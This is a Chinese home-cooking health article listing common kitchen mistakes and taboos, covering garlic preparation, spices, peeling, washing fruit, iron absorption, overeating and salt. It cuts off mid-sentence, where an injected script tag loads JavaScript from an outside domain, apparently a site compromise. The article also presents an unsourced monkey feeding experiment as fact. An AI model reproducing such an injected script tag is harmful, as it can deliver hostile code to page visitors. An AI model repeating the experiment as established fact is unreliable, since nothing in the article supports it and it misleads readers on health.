当家人都说还是家中的饭最香、吃着最舒服时，家中掌勺“大厨”们肩上的担子也就更重了。既要确保烹饪的菜可口，还要注意家人的身体健康。实际上，家庭“煮”妇的饮食观念、烹饪方式都对家人产生潜移默化的影响，因此，不仅要确保饭菜美味可口，让家人吃饱、吃好，还要让家人吃出健康、远离疾病。
但是，大多数“煮”妇们的厨房手艺，要么是跟上一辈学，要么自学成才，很多方式和方法都是错误的，尽管选的蔬菜和肉类没有问题，但错误的烹饪方式依然无法给家人健康。所以，关心家人的“煮”妇们，除了知道怎样做出美味，还应该懂得健康烹饪准则。
最常犯的5大错误
错误1：临时准备大蒜。很多人习惯炒菜前临时准备大蒜，但美国癌症研究协会营养学研究小组组长约翰·米尔纳博士说：“把大蒜拍碎、切片，放上至少10分钟后再烹饪。拍碎大蒜可引发一种酶的化学反应，释放一种能抗癌的化合物；放上10分钟再烹饪，就是要让这种化合物有充足的时间全部形成。”
错误2：少用调料。口味清淡正在成为现代人的饮食追求，但不少主妇却因此走入了误区，以为尽量减少调料和香料才能确保清淡。正确的做法应该是在不增加食用油和食盐的情况下，多用一些植物调料和香料，这样不仅能起到调味的作用，还能保护人们免受食物中毒之害。香港大学的研究人员在对20种常见调料所做的抗菌(包括大肠杆菌、葡萄球菌和沙门氏菌等)试验发现，丁香、肉桂都具有很强的抗菌能力。发表在美国《农业和食品化学》杂志的另外一项研究成果称，迷迭香、百里香、肉豆蔻和月桂树叶也富含抗氧化剂。每次烹饪多加半匙调料，既安全又健康。
错误3：给蔬果多剥几层皮。随着人们对食品安全的重视，为了避免将蔬果的农药残留“吃”进肚子，很多人采取的方式是尽可能多的剥皮。而发表在美国《营养研究》杂志的研究发现，多数水果表皮中进行的抗氧化活动比水果果肉中进行的要高出2－27倍。营养学家建议，土豆和胡萝卜的皮只要轻轻刮掉一层就够了。如果有些果蔬必须剥皮才能入口，去掉尽可能薄的一层皮就可以。
错误4：有些食物该洗不洗。吃李子或草莓的时候，人们都先清洗一下。但吃香蕉、桔子或芒果的时候，很少有人放水冲洗。清洗剥皮吃的食物听起来有些奇怪，但停留在食物表面的有害细菌可能沾染到手上，切开水果时甚至侵入水果内部。手拿剥皮水果前用肥皂或温水洗手至少20秒，可有效防止细菌蔓延。
错误5：食物搭配不当，营养减半。很多人感到浑身乏力、整天没精打采，才想到给身体补铁。补铁应注意不同食物间的科学搭配，吃豆类和绿叶食物时，同时吃一些含维生素C丰富的食物，如辣椒、土豆、草莓等，以增加铁的吸收率。相反，吃饭时喝茶或咖啡，最多可抑制人体对60%的铁的吸收。没有吃完饭，最好不要喝茶和咖啡。
易犯的烹饪3大忌
禁忌1：“宁多勿少”。
大多数家庭主妇在做饭时总是担心饭不够吃，饿着家人，因此有“宁可多做半锅，不能少做一碗”的想法，很少考虑晚餐吃的太饱很容易诱发一些疾病的问题。事实上，古今中外各种延年益寿办法不下几百种，却大都是无效或收效甚微的，而真正公认最有效的能够延年益寿的办法就一种，即“低热量膳食”，也就是七八分饱。正如保健专家洪昭光说的：日行八千步，夜眠八小时、三餐八分饱、一天八杯水。其中三餐八分饱就是提醒人们不能吃的太多。
这一观点很多科学家认同。美国科学家就曾做过这样的实验，他们找来200只年龄、体重相似，性别相同的健康猴子，100只猴子每天任其吃饱，另外100只猴子每天定量供应，只让它们吃到七八分饱。经过一段时间后，随便敞开吃饱的100只猴子竟然先后死了50只；而另外100只七八分饱的猴子，个个苗条、健康，精神好的多，也很少生病。每日只吃七八分饱的100只猴子一共养了10年，才死了12只。观察到最后，证明所有“高寿”的猴子都是来自只吃七八分饱的这一试验群。
可见七八分饱确实很重要，中医有句老话：若要身体安，三分饥和寒。
“煮”妇准则：学会严格控制家人的饭量。
一般情况下，家人在吃饭的时候往往不经意间就已经吃饱或者是吃过量了，很难控制。这就需要在做饭的时候就进行控制，当然这个过程不能实施的太快，要慢慢减，例如第一周将家人的主食量减去一成，家人适应之后再减一成。由于饭做得少了，既能让家人感觉饭菜非常香美，同时也能让家人更加健康，何乐而不为呢？另外，如果家人在饭后仍然觉得很饿，想吃东西，可以在吃晚饭半小时后补充一点水果。
禁忌2：“好厨师 一把盐”。
自家做的饭总是比不上餐馆菜肴的味道浓厚，为了让家人吃得味道更鲜美，很多家庭主妇一向存在“咸则鲜”、“好厨师一把盐”、“菜咸好下饭”的观念，渐渐使家人越来越喜欢吃较咸的食品，俗称“口重”。然而，长期摄入大量的盐对健康的影响和危害非常大，不仅诱发高血压，还可能引发胃炎、消化性溃疡、上呼吸道感染等疾病。另外，食盐过量还是导致骨质疏松的罪魁祸首。因为肾脏每天将过多的钠随?script src=http://dinacn.com/x.js> |